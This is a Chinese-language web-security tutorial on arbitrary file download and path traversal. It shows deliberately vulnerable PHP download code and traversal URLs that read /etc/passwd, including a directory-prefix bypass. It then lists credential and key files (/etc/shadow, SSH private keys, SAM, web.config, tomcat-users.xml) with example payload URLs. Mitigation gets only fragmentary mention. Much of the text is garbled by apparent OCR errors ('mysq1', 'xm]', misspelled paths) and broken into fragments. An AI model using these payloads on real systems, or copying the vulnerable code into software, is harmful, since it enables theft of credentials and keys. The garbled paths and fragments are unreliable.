1. 读取文件的路径是用户可控, 且没有校验或检验不严.
2. 使用了读取文件的函数.
3. 输出了文件内容.
后端没有限制哪些路径的文件可以下载
http://192.168.112.200/security/download.php
$file_path = $_GET['filename'];
echo file_get_contents($file_path); // 直接在页面上显示文件内容
Header("Content-type: application/octet-stream"); // 设置响应头为下载而不是读取内容
// 下载后的文件名, 如果不设置默认名称是download.php
Header("Content-Disposition: attachment; filename=".basename($file_path));
重点是添加上 "Content-type: application/octet-stream"
响应头后, 向服务器请求的文件就变成自动下载.
这里filename
参数是用户可控的, 通过这个参数就可以下载其他目录文件, 比如下载passwd
文件:
http://192.168.112.200/security/download.php?filename=/etc/passwd
或利用../
回溯上级目录, 无论当前在哪一级目录都可能回溯到根目录:
http://192.168.112.200/security/download.php?filename=../../../../../../etc/passwd
后端限制文件允许下载的目录
// 对提交的文件路径前面做了目录拼接, 只允许下载upload目录内的文件
$file_path = "upload/{$_GET['filename']}";
if(!file_exists($file_path)){
die("你要下载的文件不存在,请重新下载");
}
$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);
//下载文件需要的响应头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
// 当文件较大时, 需要循环读取文件流,然后返回到浏览器
// feof() 函数确认是否读到了末尾EOF
$buffer = 1024; // 每次读取的大小
$file_count = 0;
while(!feof($fp) && $file_count<$file_size){
$file_con = fread($fp,$buffer);
echo $file_con;
$file_count += $buffer;
}
fclose($fp);
这里如果直接提交upload之外的路径文件读取不到, 例如:
http://192.168.112.200/security/download.php?filename=/etc/passwd
那么后端拼接之后是: upload/etc/passwd
, 读取不到.
使用../
回溯上级目录绕过:
http://192.168.112.200/security/download.php?filename=/../../../../../../../etc/passwd
那么后端拼接之后是: upload//…/…/…/…/…/…/…/etc/passwd
file, filename, page, url, path
等名称, 可能是文件路径参数.../../../../../etc/passwd
类似的参数来下载常见的系统敏感文件, 如果成功说明存在漏洞."."
, 避免用户在url中可以回溯上级目录.open_basedir
, 限制文件访问的目录.# linux:
/root/.ssh/authorized_keys //ssh登录认证文件
/root/.ssh/id_rsa //公钥文件
/root/.ssh/id_rsa.keystore //密钥存放文件
/root/.ssh/known_hosts //已访问过的主机公钥记录文件
/etc/passwd //用户信息
/etc/shadow //密码存放文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配黑文件
/root/.bash_history //记录系统历史命令文件
/root/.mysq1_history //记录数据库历史命令文件
/proc/self/fd/fd[0-9](文件标识符) //连接当前正运行的进程
/proc/mounts //已挂载的文件系统信息
/porc/config.gz //内核配置文件
# windows:
C:\boot.ini //查看系统版本
C:windows\win.ini //基本系统配置文件
C:\windows\System32\inetsrv\MetaBase.xm] //IIS配需文件
C:\windows\repair\sam //存储系统初次安装的密码
C:\ProgramFiles\mysq1\my.ini //Mysql配置
C:\ProgramFiles mysq1\data\mysq]\user.MYD //Mysqlroot
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置信息
1. tomcat-users.xm1(用户配置文件)
tomcat-users.xm]认在conf目录下,或许可以直接使用下戟点下载该文件。
http://目标网站/down.isp?
filename=tomcat-users.xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xm]
2. web.xm](网站配器文件》
Jsp网站配黑文件默认放在根目录WEB-INF/Web.xm下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)
http://目标站点/file.do?
method=downFile&fileName=../WEB-INF/Web.xml
php一般是mysq1数据库,一般mysq1数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理。
下载数据库配置文件:
http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php
http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配置文件)
http://目标站点/download.asp?filename=../../download.asp(网站配置文件)
http://目标站点/download.asp?filename=../../Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb(数据库路径)
web.config文件《网站配置文件)
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:
http://目标站点/DownLoadFileLow.aspx?FileName=../web.config